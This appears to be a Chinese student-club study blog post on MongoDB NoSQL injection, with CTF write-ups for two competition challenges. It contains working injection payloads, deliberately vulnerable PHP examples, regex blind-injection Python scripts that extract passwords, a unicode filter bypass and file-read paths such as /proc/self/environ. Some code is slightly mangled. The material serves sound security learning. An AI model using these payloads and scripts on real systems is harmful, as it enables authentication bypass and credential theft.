-
2020级 Newiy_Gnaw Nosql
-
NoSQL注入简介
-
php MongoDB注入
-
题目
-
学习参考
皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~
2020级 Newiy_Gnaw Nosql
之前就接触过,不过一直没有深入的理解与运用,这次做到了题,现在才来好好做个总结
关于概念和语法的东西就不写了,直接看到注入方式
NoSQL注入简介
NoSQL 注入由于 NoSQL 本身的特性和传统的 SQL 注入有所区别。使用传统的SQL注入,攻击者利用不安全的用户输入来修改或替换应用程序发送到数据库引擎的 SQL 查询语句(或其他SQL语句)。
换句话说,SQL 注入使攻击者可以在数据库中 SQL 执行命令。
与关系数据库不同,NoSQL 数据库不使用通用查询语言。NoSQL 查询语法是特定于产品的,查询是使用应用程序的编程语言编写的:PHP,JavaScript,Python,Java 等。这意味着成功的注入使攻击者不仅可以在数据库中执行命令,而且可以在应用程序本身中执行命令,这可能更加危险。
分类
有两种 NoSQL 注入分类的方式:
第一种是按照语言的分类,可以分为:PHP 数组注入,JavaScript 注入和 Mongo Shell 拼接注入等等。
第二种是按照攻击机制分类,可以分为:重言式注入,联合查询注入,JavaScript 注入、盲注等,这种分类方式很像传统 SQL 注入的分类方式。
-
重言式注入
又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。
-
联合查询注入
联合查询是一种众所周知的 SQL 注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。
-
JavaScript 注入
MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的 JavaScript 代码,导致非法的数据获取或篡改。
-
盲注
当页面没有回显时,那么我们可以通过
$regex
正则表达式来达到和传统 SQL 注入中
substr()
函数相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。
php MongoDB注入
重言式注入
这是验证网站是否存在MongoDB注入的第一步。
利用
executeQuery
直接查询:
<?php
# 连接数据库
$manager = new MongoDBDriverManager("mongodb://localhost:27017");
$uname = $_GET['username'];
$pwd = $_GET['password'];
# 查询语句
$query = new MongoDBDriverQuery(array(
'uname' => $uname,
'pwd' => $pwd
));
# 执行语句
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo 'username:' . $user['uname'] . '<br>';
echo 'password:' . $user['pwd'] . '<br>';
}
}
else{
echo 'Not Found';
}
?>
executeQuery函数是一个查询数据函数
可以看到,传入的参数是数组
❝
传递的参数是一个数组,比较安全。这种形式叫
ODM
,它会帮你过滤数据,所以一般不用担心原语句被破坏。
❝
ORM
对应关系型数据库,如 MySQL;ODM
对应文档型数据库,如 MongoDB。
用公共用户( ca01h ,即师傅的id)输入,显示出username和password
数据的处理过程如图(借用一下师傅的图)
PHP 允许最终用户通过将 URL 参数更改为带有方括号的参数来将 GET 查询字符串输入更改为数组
payload:
?username[$ne]=1&password[$ne]=1
$ne为不等于,not equal
这样可以查出来所有用户
payload说明:由于php松散的数据特性,如果输入value=1,就是输入了一个值为1的数据。如果输入
value[$ne]=1
也就意味着
value=array($ne=>1)
,在 MongoDB 中, 原来一个单一的
{"value":1}
查询就变成了一个
{"value":{$ne:1}
条件查询。这样就满足了永真的条件。同样的,我们也可以使用
username[$gt]=&password[$gt]=
作为 payload 进行攻击。
联合查询注入
原理依旧是字符串拼接
示例代码:
string query ="{ username: '" + $username + "', password: '" + $password + "' }"
payload:
username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: 'successful MongoDB injection'
相当于
{ username: 'admin', $or: [ {}, {'a': 'a', password: '' }], $comment: 'successful MongoDB injection'' }
但是现在无论是 PHP 的 MongoDB driver 还是 node.js 的 mongoose 都必须要求查询条件必须是一个数组或者 query 对象了,因此这种方法基本上用不到
JavaScript****注入
$where 操作符
在 MongoDB 中 where 操作符使用
map-reduce
、
group
命令可以访问到 mongo shell 中的全局函数和属性。
<?php
$manager = new MongoDBDriverManager();
$uname = $_GET['username'];
$pwd = $_GET['password'];
$function = "function() {if(this.uname == '$uname' && this.pwd == '$pwd') return {'username': this.uname, 'password': this.pwd}}";
$query = new MongoDBDriverQuery(array(
'$where' => $function
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
foreach ($result as $user) {
$user=(array)$user;
echo 'username: '.$user['uname']."<br>";
echo 'password: '.$user['pwd']."<br>";
}
}
else{
echo 'Not Found';
}
?>
MongoDB 2.4 版本之前,可以访问到 db 属性:
?username='||1) return {'username': tojson(db.getCollectionNames()), 'password': 'hacked'}}//&password=1
相当于
$function = "function() {if(this.uname == 'anything' && this.pwd == 'admin' || '' == '') return {'username': this.uname, 'password': this.pwd}}";
盲注
在MongoDB中用
$regex
正则表达式逐个提取字符
已知某一个用户名的前提下判断的密码长度:
?username[$eq]=abcd&password[$regex]=.{5}
逐位提取字符:
# url格式
?username[$eq]=abcd&password[$regex]=c.{4}
?username[$eq]=abcd&password[$regex]=ca.{3}
?username[$eq]=abcd&password[$regex]=ca0.{2}
?username[$eq]=abcdh&password[$regex]=c.*
?username[$eq]=abcd&password[$regex]=ca.*
# json格式
{"username": {"$eq": "abcd"}, "password": {"$regex": "^c" }}
{"username": {"$eq": "abcd"}, "password": {"$regex": "^ca" }}
{"username": {"$eq": "abcd"}, "password": {"$regex": "^ca0" }}
GET盲注脚本
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username = 'admin'
password = ''
target = 'http://127.0.0.1/mongo/test.php'
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', ']:
payload = '?username=%s&password[$regex]=^%s' % (username, password + c)
r = requests.get(target + payload)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
POST盲注脚本
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
target = 'http://127.0.0.1/mongo/test.php'
headers = {'content-type': 'application/json'}
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload = '{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(target, data = payload, headers = headers, verify = False, allow_redirects = False)
if 'OK' in r.text or r.status_code == 302:
print("Found one more char : %s" % (password+c))
password += c
题目
[2021祥云杯]Package Manager 2021
打开页面
提示:努力创建自己的包并将其提交给管理员:)
注册一个用户登录,有一个提交package的功能
随便写了一个包
到了一个这样的页面
在/auth有sql注入
router.post('/auth', async (req, res) => {
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
try {
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
调用了一个checkmd5Regex
utils.js文件中可以发现这里存在一个
checkmd5Regex
的waf
const checkmd5Regex = (token: string) => {
return /([a-fd]{32}|[A-Fd]{32})/.exec(token);
}
没有加上
`^,所以可以绕过
sql布尔注入:
import requests
import string
url="http://0b48abc1-6069-445b-a187-54a0edbc8c7a.node4.buuoj.cn:81/auth"
headers={
"Cookie": "session=s:43UCQxzqHneiwEF-JP_ftZ0Aw1upXuCF.t58XyJ4BQ4rmP8Da+VdQzkHtAd1r4EkRUs9h/Zim3os",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
"Referer": "http://0b48abc1-6069-445b-a187-54a0edbc8c7a.node4.buuoj.cn:81/packages/submit",
"Origin": "http://0b48abc1-6069-445b-a187-54a0edbc8c7a.node4.buuoj.cn:81",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Upgrade-Insecure-Requests": "1",
}
flag = ''
for i in range(10000):
for j in string.printable:
if j == '"':
continue
payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)
#print(payload)
data={
"_csrf":"2PzwJX5n-Y1qH02TLkz3_JXa_OBn2hpgU2G8",
"token":payload
}
r=requests.post(url=url,data=data,headers=headers,allow_redirects=False)
#print(r.text)
if "Found. Redirecting to" in r.text:
#print(payload)
flag+=j
print(flag)
break
得到
!@#&@&@efefef*@((@))grgregret3r
所以把这个当作密码输入
[GKCTF 2021]hackme
首先有两个提示
提示1:你可能需要unicode
提示2:注意server和其配置文件
打开页面,是一个登录框
查看页面源代码,发现有提示
看到别人的笔记源码有php头,不知道为什么这个靶机没有。所以是php的nosql注入
当然还是先从重言式注入开始
{"username":{“$ne,"admin"},"password":{"$ne":"admin"}}
发现被过滤了,就用提示unicode编码绕过
{"username":{“u0024u006eu0065,"admin"},"password":{"u0024u006eu0065":"admin"}}
无回显
而不是像比赛靶机那样回显
{"msg":"登录了,但没完全登录"}
这样很有可能是盲注
import string
import requests
characters = string.ascii_letters + string.digits # [A-Za-z0-9]
password = ""
payload = """{"username":{"$\u0065\u0071": "admin"}, "password": {"$\u0072\u0065\u0067\u0065\u0078": "^%s"}}"""
url = "http://node4.buuoj.cn:26310/login.php"
for i in range(50):
for character in characters:
response = requests.post(url=url, data=(payload % (password + character)),
headers={"Content-Type": "application/json; charset=UTF-8"})
responseContent = response.content.decode()
print(f"[+] Trying {character} with response {responseContent}")
response.close()
if "登录了" in responseContent:
password += character
print(f"[*] Found new character {character} with password now which is {password}")
break
得到admin密码为42276606202db06ad1f29ab6b4a1307f
成功登录后
这里说有php文件,猜测任意文件读取
抓包试一下
回显flag is in the Intranet,这就是打内网了
这就用了第二个提示,注意server和其配置文件
file=/proc/self/environ
(LFI通过proc/self/environ直接获取webshell)
先继续看他的配置文件,nginx配置文件/usr/local/nginx/conf/nginx.conf
(这个时候靶机销毁了,竟然只有一个小时的时间,于是重新开启一次)
string(32) "/usr/local/nginx/conf/nginx.conf"
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
server {
listen 80;
error_page 404 404.php;
root /usr/local/nginx/html;
index index.htm index.html index.php;
location ~ .php$ {
root /usr/local/nginx/html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
resolver 127.0.0.11 valid=0s ipv6=off;
resolver_timeout 10s;
# weblogic
server {
listen 80;
server_name weblogic;
location / {
proxy_set_header Host $host;
set $backend weblogic;
proxy_pass http://$backend:7001;
}
}
}
可以发现服务端使用的 Nginx 版本为 1.17.6,而 Ngnix < 1.17.7 存在请求走私的漏洞
剩下涉及到的都是内网的知识了,跟这个知识点无关,以后再学吧
学习参考
https://cloud.tencent.com/developer/article/1602092
https://blog.csdn.net/cjdgg/article/details/121435835
原文始发于微信公众号(山警网络空间安全实验室):皮蛋厂的学习日记 | 2022.4.30 Nosql
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论